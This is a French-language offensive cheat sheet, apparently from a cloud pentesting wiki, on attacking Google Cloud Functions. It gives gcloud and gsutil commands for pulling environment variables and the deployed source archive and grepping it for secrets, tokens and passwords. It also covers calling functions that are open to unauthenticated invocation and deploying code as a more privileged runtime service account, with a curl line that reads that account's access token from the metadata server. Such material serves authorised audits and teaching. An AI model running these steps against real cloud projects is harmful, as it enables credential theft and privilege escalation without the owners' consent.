Une Cloud Function s'exécute avec un compte de service d'exécution et détient souvent des secrets dans ses variables d'environnement et son code source. Avec un accès en lecture, vous récupérez les deux ; avec un accès en déploiement, vous exécutez du code en tant que compte de la fonction, ce qui constitue le chemin d'élévation par actAs lorsque ce compte est plus privilégié que le vôtre.
Lire le code source, l'environnement et la configuration#
gcloud functions describe <fn> --gen2 --region <r> \
--format='value(serviceConfig.serviceAccountEmail, serviceConfig.environmentVariables)'
# download the deployed source archive
gcloud functions describe <fn> --gen2 --region <r> --format='value(buildConfig.source.storageSource)'
gsutil cp gs://<source-bucket>/<object> src.zip && unzip -o src.zip -d src/
grep -rinE 'secret|password|token|key' src/
Invocation non authentifiée#
# a function deployed with the public invoker binding is reachable without creds
gcloud functions call <fn> --gen2 --region <r> --data '{}'
curl -s https://<region>-<project>.cloudfunctions.net/<fn>
Exécuter en tant que compte de service d'exécution#
# deploy or update with an attached SA; code then reads its token from the metadata server
gcloud functions deploy <fn> --gen2 --region <r> --runtime python312 \
--run-service-account <privileged-sa>@<proj>.iam.gserviceaccount.com \
--trigger-http --allow-unauthenticated --source .
# inside the function:
# curl -H 'Metadata-Flavor: Google' \
# 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'
Notes d'exploitation#
- Déployer ou mettre à jour une fonction nécessite
iam.serviceAccounts.actAssur le compte de service d'exécution ; cette combinaison est le chemin d'élévation de privilèges (voir élévation de privilèges). - Une liaison d'invocateur public
allUsers/allAuthenticatedUsersexpose la fonction sans identifiants ; énumérez-la avecgcloud functions get-iam-policy. - La gen1 et la gen2 diffèrent : les fonctions gen2 reposent sur Cloud Run, de sorte que
--run-service-accountet les contrôles Cloud Run s'appliquent.
Outils#
- gcloud (
functions deploy,describe,call,get-iam-policy). - gsutil : récupérer l'archive du code source depuis son bucket de staging.